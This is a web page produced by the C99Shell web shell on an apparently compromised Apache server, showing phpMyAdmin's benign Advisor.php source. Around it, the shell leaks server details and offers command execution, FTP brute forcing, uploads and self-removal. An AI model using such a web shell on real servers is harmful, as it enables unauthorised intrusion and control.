!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Server/Status/   drwxr-xr-x
Free 13.33 GB of 57.97 GB (22.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Advisor.php (2.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * functions for displaying server status sub item: advisor
 *
 * @package PhpMyAdmin
 */
namespace PhpMyAdmin\Server\Status;

use 
PhpMyAdmin\Advisor as PmaAdvisor;
use 
PhpMyAdmin\Util;
use 
Symfony\Component\ExpressionLanguage\ExpressionLanguage;

/**
 * PhpMyAdmin\Server\Status\Advisor class
 *
 * @package PhpMyAdmin
 */
class Advisor
{
    
/**
     * Returns html with PhpMyAdmin\Advisor
     *
     * @return string
     */
    
public static function getHtml()
    {
        
$output  '<a href="#openAdvisorInstructions">';
        
$output .= Util::getIcon('b_help'__('Instructions'));
        
$output .= '</a>';
        
$output .= '<div id="statustabs_advisor"></div>';
        
$output .= '<div id="advisorInstructionsDialog" class="hide">';
        
$output .= '<p>';
        
$output .= __(
            
'The Advisor system can provide recommendations '
            
'on server variables by analyzing the server status variables.'
        
);
        
$output .= '</p>';
        
$output .= '<p>';
        
$output .= __(
            
'Do note however that this system provides recommendations '
            
'based on simple calculations and by rule of thumb which may '
            
'not necessarily apply to your system.'
        
);
        
$output .= '</p>';
        
$output .= '<p>';
        
$output .= __(
            
'Prior to changing any of the configuration, be sure to know '
            
'what you are changing (by reading the documentation) and how '
            
'to undo the change. Wrong tuning can have a very negative '
            
'effect on performance.'
        
);
        
$output .= '</p>';
        
$output .= '<p>';
        
$output .= __(
            
'The best way to tune your system would be to change only one '
            
'setting at a time, observe or benchmark your database, and undo '
            
'the change if there was no clearly measurable improvement.'
        
);
        
$output .= '</p>';
        
$output .= '</div>';
        
$output .= '<div id="advisorData" class="hide">';
        
$advisor = new PmaAdvisor($GLOBALS['dbi'], new ExpressionLanguage());
        
$output .= htmlspecialchars(
            
json_encode(
                
$advisor->run()
            )
        );
        
$output .= '</div>';

        return 
$output;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0189 ]--